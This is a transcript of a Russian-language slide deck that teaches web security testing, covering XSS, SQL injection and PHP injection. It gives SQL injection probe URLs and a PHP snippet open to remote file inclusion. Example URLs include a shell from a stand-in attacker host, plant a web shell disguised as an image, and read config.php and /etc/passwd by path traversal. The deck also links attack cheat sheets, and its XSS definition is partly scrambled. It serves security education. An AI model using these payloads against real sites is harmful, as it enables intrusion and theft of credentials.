PHP injection

Download Report

Transcript PHP injection

Тестирование безопасности или Security and Access Control Testing

Принципы безопасности ПО

• Конфиденциальность • Целостность • Доступность

Конфиденциальность

Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.

Целостность

Целостность - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. Является условием того, что данные не были несанкционированно модифицированы при выполнении любой операции над ними, будь то передача, хранение или представление.

Доступность

Доступность

состояние информации (ресурсов автоматизированной информационной системы), при котором субъекты, имеющие право доступа, могут реализовывать их беспрепятственно. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.

Основные типы уязвимостей Web-приложений

• XSS injection • SQL injection • PHP injection

XSS injection (Cross Site Scripting)

XSS injection

тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые причине сервером попадают страницы по пользовательские какой-то скрипты.

Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

XSS injection (Cross Site Scripting)

Примеры: •

SQL injection

SQL–injection - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный произвольного SQL-кода.

на внедрении в запрос Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и т.д.

SQL injection

Исходная страница: site.com/index.php?id=1 Примеры: • site.com/index.php?id=1 ‘ (Выводит ошибку) • site.com/index.php?id=1 blablabla (Выводит ошибку) • site.com/index.php?id=2-1(Выводит страницу 1) • site.com/index.php?id=1*1(Выводит страницу 1) • site.com/index.php?id=1*2(Выводит страницу 2) • site.com/index.php?id=1+and+1=1(Выводит страницу 1) • site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит)

PHP injection

PHP injection - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

PHP injection

Удалённый инклуд (Remote File Inclusion)

if($_GET['page'].'.php') { include($_GET['page'].'.php'); } else { include($file.'.php'); ?> } • Нет проверки на существование значения $_GET['page'] http://site.ru/index.php?page=http://hack.ru/shell • Переменная $file не была определена раннее http://site.ru/index.php?file=http://hack.ru/shell

PHP injection

Локальный инклуд (Local File Inclusion)

… include("include/$file"); ?> … • Под видом картинки заливаем веб-шелл: http://www.site.com/index.php?include=../forum/images/shell.jpg

• Если знаем движок и структуру приложения, можем прочитать конфигурационные файлы: http://www.site.com/index.php?include=../forum/admin/config.php

• Либо даже так: http://www.site.com/index.php?include=../../../../etc/passwd

Что почитать по теме?

• XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html

• Много статей по SQL/PHP/XSS-inj с примерами http://forum.antichat.ru/thread19610.html